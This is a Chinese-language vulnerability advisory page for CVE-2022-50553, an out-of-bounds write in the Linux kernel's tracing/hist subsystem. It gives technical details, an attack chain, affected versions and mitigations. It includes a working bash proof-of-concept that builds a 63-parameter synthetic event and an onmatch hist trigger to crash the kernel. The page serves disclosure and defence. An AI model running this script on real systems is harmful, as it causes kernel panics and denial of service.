IPBUF安全漏洞报告
English
CVE-2022-50553 CVSS 5.5 中危

CVE-2022-50553 Linux内核tracing/hist模块越界写入漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50553
漏洞类型
越界写入(Out-of-Bound Write)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel越界写入tracing/hist内核panic拒绝服务本地提权CVE-2022-50553synthetic_eventhistogramdebugfs

漏洞概述

CVE-2022-50553是Linux内核tracing/hist子系统中存在的一个越界写入漏洞。该漏洞位于trace_action_create()函数中,当用户创建一个包含大量参数(超过16个)的合成事件(synthetic event),并为其创建hist trace action时,内核会发生越界写入操作。具体而言,data->n_params的最大值为SYNTH_FIELDS_MAX(当前为64),而用于存储合成事件参数索引的数组data->var_ref_idx的长度仅为TRACING_MAP_VARS_MAX(当前为16)。当参数数量超过16时,会发生越界写入,导致data->match_data.event被覆盖,最终引发内核崩溃(kernel panic)。该漏洞的CVSS评分为5.5,属于中危级别,需要本地低权限用户即可触发,无需用户交互。虽然机密性和完整性影响较低,但由于会导致内核崩溃(可用性影响高),本地用户可能利用此漏洞实施拒绝服务攻击。漏洞影响多个Linux内核稳定版本,已通过多个补丁提交进行修复。

技术细节

该漏洞的根本原因在于trace_action_create()函数中的缓冲区大小不匹配问题。在Linux内核的tracing histogram(hist)功能中,当用户通过debugfs接口创建合成事件(synthetic event)时,系统会为每个合成事件参数在hist_data->var_refs数组中分配一个索引引用,这些引用存储在data->var_ref_idx数组中。然而,data->n_params的最大允许值为SYNTH_FIELDS_MAX(64),而data->var_ref_idx数组的长度仅为TRACING_MAP_VARS_MAX(16)。当用户创建包含超过16个参数的合成事件并为其配置onmatch trace action时,内核会向data->var_ref_idx数组写入超出其边界的数据,覆盖后续的data->match_data.event字段。覆盖后的event指针指向无效内存地址,当后续代码(如__find_event_file函数中的strcmp操作)尝试访问该指针时,会触发页错误异常(page fault),导致内核崩溃。漏洞利用需要本地访问权限,用户可以通过/sys/kernel/tracing/接口下的synthetic_events和events/*/trigger文件触发该漏洞。修复方案是将data->var_ref_idx数组的长度调整为SYNTH_FIELDS_MAX,并增加边界检查以防止越界写入。

攻击链分析

STEP 1
步骤1:访问tracing接口
攻击者需要具有本地系统访问权限,能够访问/sys/kernel/tracing/目录下的debugfs接口,通常需要CAP_SYS_ADMIN权限或root权限。
STEP 2
步骤2:创建大量参数的合成事件
攻击者通过向synthetic_events文件写入定义,创建一个包含超过16个参数(最多64个)的合成事件(synthetic event)。
STEP 3
步骤3:创建hist触发器
攻击者在sched_waking事件上创建一个hist触发器,作为onmatch action的目标事件。
STEP 4
步骤4:触发越界写入
攻击者在sched_switch事件上创建带有onmatch action的hist触发器,引用之前创建的合成事件。由于参数数量超过var_ref_idx数组容量(16),发生越界写入。
STEP 5
步骤5:内核崩溃
越界写入覆盖match_data.event指针,当后续代码尝试使用该指针进行字符串比较(strcmp)时,访问无效内存地址,触发页错误异常,导致内核panic。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2022-50553 PoC - Linux Kernel tracing/hist Out-of-Bound Write # This PoC triggers a kernel panic by creating a synthetic event # with more than 16 parameters and a hist trace action. set -e TRACING_DIR="/sys/kernel/tracing" echo "[*] CVE-2022-50553 PoC - Linux Kernel tracing/hist OOB Write" echo "[*] Step 1: Creating synthetic event with 63 parameters..." # Build synthetic event definition with 63 int parameters SYNTH_DEF="my_synth_event" for i in $(seq 1 63); do if [ $i -eq 1 ]; then SYNTH_DEF="${SYNTH_DEF} int v${i}" else SYNTH_DEF="${SYNTH_DEF}; int v${i}" fi done echo "${SYNTH_DEF}" >> "${TRACING_DIR}/synthetic_events" echo "[+] Synthetic event created successfully" echo "[*] Step 2: Creating hist trigger on sched_waking..." echo 'hist:keys=pid:ts0=common_timestamp.usecs if comm=="bash"' >> \ "${TRACING_DIR}/events/sched/sched_waking/trigger" echo "[+] sched_waking hist trigger created" echo "[*] Step 3: Creating hist trigger on sched_switch with onmatch action..." # Build onmatch action with 63 pid parameters ACTION_PARAMS="" for i in $(seq 1 63); do if [ $i -eq 1 ]; then ACTION_PARAMS="pid" else ACTION_PARAMS="${ACTION_PARAMS},pid" fi done echo "hist:keys=next_pid:onmatch(sched.sched_waking).my_synth_event(${ACTION_PARAMS})" >> \ "${TRACING_DIR}/events/sched/sched_switch/trigger" echo "[+] Trigger sent. If vulnerable, kernel panic should occur shortly." echo "[*] Waiting for kernel panic..." sleep 5

影响范围

Linux Kernel < 6.1 (受影响)
Linux Kernel 6.1.x (受影响)
Linux Kernel 6.0.x (受影响)
Linux Kernel 5.19.x (受影响)
Linux Kernel 5.15.x (受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制对/sys/kernel/tracing/目录的访问权限,仅允许特权用户使用;2)通过内核启动参数或sysctl限制普通用户使用tracing功能;3)监控系统日志,及时发现异常的tracing操作;4)考虑临时禁用hist trigger功能或减少SYNTH_FIELDS_MAX配置值;5)使用Linux安全模块(如SELinux、AppArmor)限制对tracing接口的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表